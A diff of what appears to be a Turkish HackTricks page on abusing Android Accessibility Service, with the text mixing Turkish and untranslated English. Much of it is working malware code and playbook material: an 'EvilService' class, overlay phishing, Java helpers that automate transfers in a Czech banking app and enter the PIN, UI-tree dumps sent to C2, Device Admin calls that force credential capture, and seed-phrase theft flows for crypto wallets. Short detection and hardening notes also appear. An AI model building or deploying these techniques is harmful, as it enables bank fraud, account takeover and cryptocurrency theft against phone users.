|
||||
Bir hedef akışında görülen örnek metinler (CZ → EN):
|
||||
- "Nová platba" → "Yeni ödeme"
|
||||
- "Zadat platbu" → "Ödeme gir"
|
||||
- "Nový příjemce" → "Yeni alıcı"
|
||||
- "Domácí číslo účtu" → "Yurtiçi hesap numarası"
|
||||
- "Další" → "İleri"
|
||||
- "Odeslat" → "Gönder"
|
||||
- "Ano, pokračovat" → "Evet, devam et"
|
||||
- "Zaplatit" → "Öde"
|
||||
- "Hotovo" → "Tamamlandı"
|
||||
|
||||
Operatörler ayrıca transfer limitlerini kontrol etmek/yükseltmek için `check_limit` ve `limit` gibi limitler UI'sında benzer şekilde gezinmeyi sağlayan komutları kullanabilir.
|
||||
|
||||
### Kripto cüzdan seed çıkarımı
|
||||
Hedefler: MetaMask, Trust Wallet, Blockchain.com, Phantom. Akış: unlock (çalınmış PIN veya sağlanan parola), Security/Recovery bölümüne git, seed phrase'i reveal/show et, keylog ile exfiltrate et. Dil farklılıkları arasında gezinmeyi kararlı hale getirmek için locale-aware seçiciler (EN/RU/CZ/SK) uygulayın.
|
||||
|
||||
### Device Admin zorlaması
|
||||
Device Admin APIs, PIN-capture fırsatlarını artırmak ve kurbanın müdahalesini zorlaştırmak için kullanılır:
|
||||
|
||||
- Anında kilitleme:
|
||||
```java
|
||||
dpm.lockNow();
|
||||
```
|
||||
- Geçerli kimlik bilgilerini süresini sona erdirerek değiştirmeyi zorla (Accessibility yeni PIN/parolayı yakalar):
|
||||
```java
|
||||
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
|
||||
```
|
||||
- Keyguard biyometrik özelliklerini devre dışı bırakarak biyometrik olmayan kilidi zorla:
|
||||
```java
|
||||
dpm.setKeyguardDisabledFeatures(admin,
|
||||
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
|
||||
```
|
||||
Not: Birçok DevicePolicyManager kontrolü, güncel Android sürümlerinde Device Owner/Profile Owner gerektirir; bazı OEM build'leri gevşek olabilir. Hedef OS/OEM üzerinde her zaman doğrulayın.
|
||||
|
||||
### NFC relay orchestration (NFSkate)
|
||||
Stage-3 harici bir NFC-relay modülü (ör. NFSkate) kurup başlatabilir ve röle sırasında mağduru yönlendirmek için bir HTML şablonu bile verebilir. Bu, online ATS ile birlikte temassız, kart-present cash-out yapılabilmesini sağlar.
|
||||
|
||||
Arka plan: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
|
||||
|
||||
### Operatör komut seti (örnek)
|
||||
- UI/durum: `txt_screen`, `screen_live`, `display`, `record`
|
||||
- Sosyal: `send_push`, `Facebook`, `WhatsApp`
|
||||
- Bindirmeler: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
|
||||
- Cüzdanlar: `metamask`, `trust`, `blockchain`, `phantom`
|
||||
- ATS: `transfer`, `check_limit`, `limit`
|
||||
- Cihaz: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
|
||||
- İletişim/Keşif: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
|
||||
- NFC: `nfs`, `nfs_inject`
|
||||
|
||||
### Tespit ve savunma fikirleri (RatOn tarzı)
|
||||
- Installer/permission yöntemlerini açığa çıkaran `addJavascriptInterface()` içeren WebViews için avlanın; Accessibility istemlerini tetikleyen “/access” ile biten sayfalar.
|
||||
- Servis erişimi verildikten kısa süre sonra yüksek oranlı Accessibility hareketleri/tıklamaları üreten uygulamalar için uyarı; C2'ye gönderilen Accessibility node dump'larını andıran telemetri.
|
||||
- Güvenilmeyen uygulamalarda Device Admin politika değişikliklerini izleyin: `lockNow`, şifre süresi dolması, keyguard özelliklerinin açılıp kapatılması.
|
||||
- Kurumsal olmayan uygulamalardan gelen MediaProjection istemleri ve bunları takiben periyodik frame yüklemeleri için uyarı.
|
||||
- Bir uygulama tarafından tetiklenen harici bir NFC-relay uygulamasının yüklenmesini/başlatılmasını tespit edin.
|
||||
- Bankacılık için: kanal dışı onaylar, biyometrik-bağlama ve cihaz üzeri otomasyona dayanıklı işlem limitleri uygulayın.
|
||||
|
||||
## Kaynaklar
|
||||
|
||||
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
||||
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
|
||||
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
|
||||
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
||||
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||
- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,24 +1,24 @@
|
||||
# Android Erişilebilirlik Servisi İstismarı
|
||||
# Android Accessibility Service Kötüye Kullanımı
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Genel Bakış
|
||||
|
||||
`AccessibilityService`, engelli kullanıcıların Android cihazlarla etkileşimde bulunmalarına yardımcı olmak için oluşturulmuştur. Ne yazık ki, aynı **güçlü otomasyon API'leri** (küresel navigasyon, metin girişi, hareket dağıtımı, üst katman pencereleri…) kötü amaçlı yazılımlar tarafından _root ayrıcalıkları olmadan_ cihazın **tam uzaktan kontrolünü** ele geçirmek için silahlandırılabilir.
|
||||
`AccessibilityService`, engelli kullanıcıların Android cihazlarla etkileşim kurmasına yardımcı olmak için oluşturuldu. Ne yazık ki aynı **güçlü otomasyon API'leri** (küresel gezinme, metin girişi, jest yönlendirme, üst üste binen pencereler…) kötü amaçlı yazılımlar tarafından cihaz üzerinde **tam uzaktan kontrol** sağlamak için kullanılabilir _root ayrıcalıkları olmadan_.
|
||||
|
||||
Modern Android bankacılık Trojanları ve Uzaktan Erişim Trojanları (RAT'lar) **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** gibi birçok diğerleri aynı tarife uymaktadır:
|
||||
Günümüz Android bankacılık Trojanları ve Remote-Access-Trojans (RATs) ör. **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** ve diğerleri aynı reçeteyi izler:
|
||||
|
||||
1. Kurbanı, kötü niyetli bir erişilebilirlik hizmetini etkinleştirmeye ikna etmek ( *BIND_ACCESSIBILITY_SERVICE* izni "yüksek riskli" olarak kabul edilir ve açık bir kullanıcı eylemi gerektirir).
|
||||
2. Hizmeti kullanarak
|
||||
1. Kurbanı sosyal mühendislikle kötü amaçlı bir erişilebilirlik servisini etkinleştirmeye ikna et ( *BIND_ACCESSIBILITY_SERVICE* izni "high-risk" olarak kabul edilir ve açık bir kullanıcı işlemi gerektirir).
|
||||
2. Servisi şu amaçlarla kullan:
|
||||
* ekranda görünen her UI olayını ve metni yakalamak,
|
||||
* operatörün istediği herhangi bir görevi otomatikleştirmek için sentetik hareketler (`dispatchGesture`) ve küresel eylemler (`performGlobalAction`) enjekte etmek,
|
||||
* **TYPE_ACCESSIBILITY_OVERLAY** pencere türünü kullanarak meşru uygulamaların üstünde tam ekran üst katmanlar çizmek (hiçbir `SYSTEM_ALERT_WINDOW` istemi yok!),
|
||||
* kurbanın adına sistem diyaloglarına tıklayarak ek çalışma zamanı izinlerini sessizce vermek.
|
||||
3. Kullanıcı normal bir ekranı izlerken verileri dışarı sızdırmak veya **Cihaz İçi Dolandırıcılık (ODF)** gerçekleştirmek.
|
||||
* operatörün istediği herhangi bir görevi otomatikleştirmek için sentetik hareketler (`dispatchGesture`) ve global eylemler (`performGlobalAction`) enjekte etmek,
|
||||
* meşru uygulamaların üzerine tam ekran overlay'ler çizmek için **TYPE_ACCESSIBILITY_OVERLAY** pencere türünü kullanmak (no `SYSTEM_ALERT_WINDOW` prompt!),
|
||||
* kurban adına sistem diyaloglarındaki butonlara tıklayarak ek çalışma zamanı izinlerini sessizce vermek.
|
||||
3. Verileri exfiltrate etmek veya kullanıcı normal bir ekranı izlerken gerçek zamanlı olarak **On-Device-Fraud (ODF)** gerçekleştirmek.
|
||||
|
||||
---
|
||||
|
||||
## İzni Talep Etme
|
||||
## İzin İsteme
|
||||
```xml
|
||||
<!-- AndroidManifest.xml -->
|
||||
<service
|
||||
@ -34,7 +34,7 @@ android:exported="false">
|
||||
android:resource="@xml/evil_accessibility_config"/>
|
||||
</service>
|
||||
```
|
||||
Eşlik eden XML, sahte diyalogun nasıl görüneceğini tanımlar:
|
||||
Eşlik eden XML, sahte iletişim kutusunun nasıl görüneceğini tanımlar:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
@ -47,7 +47,7 @@ android:canRetrieveWindowContent="true"/>
|
||||
```
|
||||
---
|
||||
|
||||
## Uzaktan UI otomasyon ilkeleri
|
||||
## Uzaktan UI otomasyon temel bileşenleri
|
||||
```java
|
||||
public class EvilService extends AccessibilityService {
|
||||
@Override
|
||||
@ -69,16 +69,16 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul
|
||||
}
|
||||
```
|
||||
Sadece bu iki API ile bir saldırgan şunları yapabilir:
|
||||
* Ekranı kilidini açmak, bankacılık uygulamasını açmak, UI ağacında gezinmek ve bir transfer formu göndermek.
|
||||
* Açılan her izin penceresini kabul etmek.
|
||||
* Play Store niyeti aracılığıyla ek APK'lar yüklemek/güncellemek.
|
||||
* Ekranın kilidini açmak, bankacılık uygulamasını açmak, UI ağacında gezinmek ve bir transfer formu göndermek.
|
||||
* Görünen tüm izin diyaloglarını kabul etmek.
|
||||
* Play Store intent'i aracılığıyla ekstra APK'leri yüklemek/güncellemek.
|
||||
|
||||
---
|
||||
|
||||
## Kötüye Kullanım Desenleri
|
||||
## İstismar örüntüleri
|
||||
|
||||
### 1. Overlay Phishing (Kimlik Bilgisi Toplama)
|
||||
Şeffaf veya opak bir `WebView` pencere yöneticisine eklenir:
|
||||
### 1. Overlay Phishing (Credential Harvesting)
|
||||
Pencere yöneticisine şeffaf veya opak bir `WebView` eklenir:
|
||||
```java
|
||||
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
||||
MATCH_PARENT, MATCH_PARENT,
|
||||
@ -87,59 +87,146 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real
|
||||
PixelFormat.TRANSLUCENT);
|
||||
wm.addView(phishingView, lp);
|
||||
```
|
||||
The victim types credentials into the fake form while the background app receives the same gestures – no suspicious "draw over other apps" prompt is ever shown.
|
||||
Kurbandaki kişi sahte forma kimlik bilgilerini girerken arka plandaki uygulama aynı jestleri alır — hiç şüpheli "draw over other apps" istemi gösterilmez.
|
||||
|
||||
> Detaylı örnek: *Erişilebilirlik Overlay Phishing* bölümü Tapjacking sayfasında.
|
||||
> Detailed example: the *Accessibility Overlay Phishing* section inside the Tapjacking page.
|
||||
|
||||
### 2. Cihaz İçi Dolandırıcılık otomasyonu
|
||||
**PlayPraetor** gibi kötü amaçlı yazılım aileleri, operatörün yüksek seviyeli komutlar (`init`, `update`, `alert_arr`, `report_list`, …) verebileceği sürekli bir WebSocket kanalı sürdürür. Servis, bu komutları yukarıdaki düşük seviyeli hareketlere çevirerek, o cihaza bağlı çok faktörlü kimlik doğrulamayı kolayca aşan gerçek zamanlı yetkisiz işlemler gerçekleştirir.
|
||||
### 2. Cihaz Üzerinde Dolandırıcılık Otomasyonu
|
||||
Malware aileleri (ör. **PlayPraetor**), operatörün yüksek seviyeli komutlar (`init`, `update`, `alert_arr`, `report_list`, …) gönderebildiği kalıcı bir WebSocket kanalı tutar. Servis bu komutları yukarıdaki düşük seviyeli jestlere çevirir ve aynı cihaza bağlı multi-factor-authentication'ı kolayca atlatan gerçek zamanlı yetkisiz işlemler gerçekleştirir.
|
||||
|
||||
### 3. Ekran akışı ve izleme
|
||||
**MediaProjection API**'sini bir RTMP istemci kütüphanesi ile birleştirerek, RAT canlı framebuffer'ı `rtmp://<c2>:1935/live/<device_id>` adresine yayınlayabilir, bu da düşmana Erişilebilirlik motoru UI'yi yönlendirirken mükemmel bir durum farkındalığı sağlar.
|
||||
**MediaProjection API** ile bir RTMP client kütüphanesini birleştirerek, RAT canlı framebuffer'ı `rtmp://<c2>:1935/live/<device_id>` adresine yayınlayabilir; bu, Accessibility engine UI'yi kontrol ederken saldırgana mükemmel durum farkındalığı sağlar.
|
||||
|
||||
---
|
||||
|
||||
## PlayPraetor – komut ve kontrol iş akışı
|
||||
## PlayPraetor – command & control workflow
|
||||
|
||||
1. **HTTP(S) kalp atışı** – bir alan adı `POST /app/searchPackageName` ile aktif C2 yanıt verene kadar sabit kodlu bir liste üzerinde yineleme yapın.
|
||||
2. **WebSocket (port 8282)** – iki yönlü JSON komutları:
|
||||
* `update` – yeni konfigürasyon/APK'ları gönder
|
||||
* `alert_arr` – overlay şablonlarını yapılandır
|
||||
* `report_list` – hedeflenen paket adlarının listesini gönder
|
||||
* `heartbeat_web` – canlı tut
|
||||
3. **RTMP (port 1935)** – canlı ekran/video akışı.
|
||||
4. **REST dışa aktarma** –
|
||||
* `/app/saveDevice` (parmak izi)
|
||||
1. **HTTP(S) heartbeat** – iterate over a hard-coded list until one domain answers `POST /app/searchPackageName` with the active C2.
|
||||
2. **WebSocket (port 8282)** – bidirectional JSON commands:
|
||||
* `update` – push new conf/APKs
|
||||
* `alert_arr` – configure overlay templates
|
||||
* `report_list` – send list of targeted package names
|
||||
* `heartbeat_web` – keep-alive
|
||||
3. **RTMP (port 1935)** – live screen/video streaming.
|
||||
4. **REST exfiltration** –
|
||||
* `/app/saveDevice` (fingerprint)
|
||||
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
|
||||
* `/app/saveCardPwd` (banka kimlik bilgileri)
|
||||
* `/app/saveCardPwd` (bank creds)
|
||||
|
||||
**AccessibilityService**, bu bulut komutlarını fiziksel etkileşimlere dönüştüren yerel motordur.
|
||||
The **AccessibilityService** is the local engine that turns those cloud commands into physical interactions.
|
||||
|
||||
---
|
||||
|
||||
## Kötü niyetli erişilebilirlik hizmetlerini tespit etme
|
||||
## Kötü amaçlı Accessibility servislerini tespit etme
|
||||
|
||||
* `adb shell settings get secure enabled_accessibility_services`
|
||||
* Ayarlar → Erişilebilirlik → *İndirilen hizmetler* – Google Play'den **olmayan** uygulamaları arayın.
|
||||
* MDM / EMM çözümleri, yüklenmiş hizmetleri engellemek için `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) uygulayabilir.
|
||||
* Çalışan hizmetleri analiz edin:
|
||||
* Settings → Accessibility → *Downloaded services* – Google Play'den olmayan uygulamalara bakın.
|
||||
* MDM / EMM çözümleri, sideloaded servisleri engellemek için `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) uygulayabilir.
|
||||
* Çalışan servisleri analiz et:
|
||||
```bash
|
||||
adb shell dumpsys accessibility | grep "Accessibility Service"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Uygulama geliştiricileri için güçlendirme önerileri
|
||||
## Uygulama geliştiricileri için sertleştirme önerileri
|
||||
|
||||
* Hassas görünümleri `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` ile işaretleyin (API 34+).
|
||||
* Tap/overlay kaçırmayı önlemek için `setFilterTouchesWhenObscured(true)` ile `FLAG_SECURE`'ı birleştirin.
|
||||
* Duyarlı görünümleri `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+) ile işaretleyin.
|
||||
* `setFilterTouchesWhenObscured(true)` ile `FLAG_SECURE`'yi birleştirerek tap/overlay hijacking'i önleyin.
|
||||
* `WindowManager.getDefaultDisplay().getFlags()` veya `ViewRootImpl` API'sini sorgulayarak overlay'leri tespit edin.
|
||||
* `Settings.canDrawOverlays()` **veya** güvenilmeyen bir Erişilebilirlik hizmeti aktif olduğunda çalışmayı reddedin.
|
||||
* `Settings.canDrawOverlays()` **veya** güvenilmeyen bir Accessibility servisi etkinse çalışmayı reddedin.
|
||||
|
||||
---
|
||||
|
||||
## ATS otomasyonu cheat-sheet (Accessibility-driven)
|
||||
Malware, sadece Accessibility API'leriyle bir banka uygulamasını tamamen otomatikleştirebilir. Genel primitive'ler:
|
||||
```java
|
||||
// Helpers inside your AccessibilityService
|
||||
private List<AccessibilityNodeInfo> byText(String t){
|
||||
AccessibilityNodeInfo r = getRootInActiveWindow();
|
||||
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
|
||||
}
|
||||
private boolean clickText(String t){
|
||||
for (AccessibilityNodeInfo n: byText(t)){
|
||||
if (n.isClickable()) return n.performAction(ACTION_CLICK);
|
||||
AccessibilityNodeInfo p = n.getParent();
|
||||
if (p != null) return p.performAction(ACTION_CLICK);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
private void inputText(AccessibilityNodeInfo field, String text){
|
||||
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
|
||||
field.performAction(ACTION_SET_TEXT, b);
|
||||
}
|
||||
private void tap(float x, float y){
|
||||
Path p = new Path(); p.moveTo(x,y);
|
||||
dispatchGesture(new GestureDescription.Builder()
|
||||
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
|
||||
}
|
||||
```
|
||||
Örnek akış (Çekçe → İngilizce etiketler):
|
||||
- "Nová platba" (Yeni ödeme) → tıkla
|
||||
- "Zadat platbu" (Ödeme gir) → tıkla
|
||||
- "Nový příjemce" (Yeni alıcı) → tıkla
|
||||
- "Domácí číslo účtu" (Yurtiçi hesap numarası) → odakla ve `ACTION_SET_TEXT`
|
||||
- "Další" (İleri) → tıkla → … "Zaplatit" (Öde) → tıkla → PIN gir
|
||||
|
||||
Geriye dönüş: Özelleştirilmiş widget'lar nedeniyle metin araması başarısız olduğunda `dispatchGesture` ile sabit koordinatlar kullanılır.
|
||||
|
||||
Ayrıca gözlemlendi: transfer öncesinde limitler UI'sine gidip günlük limitleri artırarak `check_limit` ve `limit` için ön adımlar.
|
||||
|
||||
## Metin tabanlı sahte-ekran akışı
|
||||
Düşük gecikmeli uzaktan kontrol için, tam video akışı yerine mevcut UI ağacının metinsel bir temsilini çıkarıp C2'ye tekrarlayarak gönderin.
|
||||
```java
|
||||
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
|
||||
if (n==null) return;
|
||||
Rect b = new Rect(); n.getBoundsInScreen(b);
|
||||
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
|
||||
sb.append(indent).append("[").append(cls).append("] ")
|
||||
.append(txt==null?"":txt).append(" ")
|
||||
.append(b.toShortString()).append("\n");
|
||||
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
|
||||
}
|
||||
```
|
||||
Bu, `txt_screen` (tek seferlik) ve `screen_live` (sürekli) gibi komutların temelidir.
|
||||
|
||||
## Device Admin zorlamaya yönelik primitifler
|
||||
Bir Device Admin alıcısı etkinleştirildiğinde, bu çağrılar kimlik bilgilerini ele geçirme ve kontrolü sürdürme fırsatlarını artırır:
|
||||
```java
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
|
||||
ComponentName admin = new ComponentName(this, AdminReceiver.class);
|
||||
|
||||
// 1) Immediate lock
|
||||
dpm.lockNow();
|
||||
|
||||
// 2) Force credential change (expire current PIN/password)
|
||||
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
|
||||
|
||||
// 3) Disable biometric unlock to force PIN/pattern entry
|
||||
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
|
||||
dpm.setKeyguardDisabledFeatures(admin, flags);
|
||||
```
|
||||
Not: Bu politikaların tam kullanılabilirliği Android sürümüne ve OEM'e göre değişir; test sırasında cihaz politika rolünü (admin vs owner) doğrulayın.
|
||||
|
||||
## Kripto cüzdan seed-phrase çıkarma kalıpları
|
||||
MetaMask, Trust Wallet, Blockchain.com ve Phantom için gözlemlenen akışlar:
|
||||
- Çalınmış PIN ile kilidin açılması (overlay/Erişilebilirlik üzerinden yakalanmış) veya sağlanan cüzdan şifresi.
|
||||
- Gezinme: Settings → Security/Recovery → Reveal/Show recovery phrase.
|
||||
- İfadeyi keylogging ile metin düğümlerinden, secure-screen bypass ile veya metin gizlendiğinde ekran görüntüsü OCR ile toplayın.
|
||||
- Seçicileri istikrarlı hale getirmek için birden fazla locale (EN/RU/CZ/SK) destekleyin – mümkünse `viewIdResourceName`'i tercih edin, yoksa çok dilli metin eşleştirmesine geri dönün.
|
||||
|
||||
## NFC-relay orkestrasyonu
|
||||
Erişilebilirlik/RAT modülleri, üçüncü aşama olarak özel bir NFC-relay uygulaması (ör. NFSkate) kurup başlatabilir ve hatta kurbanı card-present relay adımlarında yönlendirmek için bir overlay kılavuzu enjekte edebilir.
|
||||
|
||||
Arka plan ve TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
|
||||
|
||||
---
|
||||
|
||||
## Referanslar
|
||||
* [PlayPraetor’ın gelişen tehdidi: Çince konuşan aktörlerin global ölçekte bir Android RAT'ı nasıl ölçeklendirdiği](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
||||
* [Android erişilebilirlik belgeleri – UI etkileşimini otomatikleştirme](https://developer.android.com/guide/topics/ui/accessibility/service)
|
||||
* [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
||||
* [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
|
||||
* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||
* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user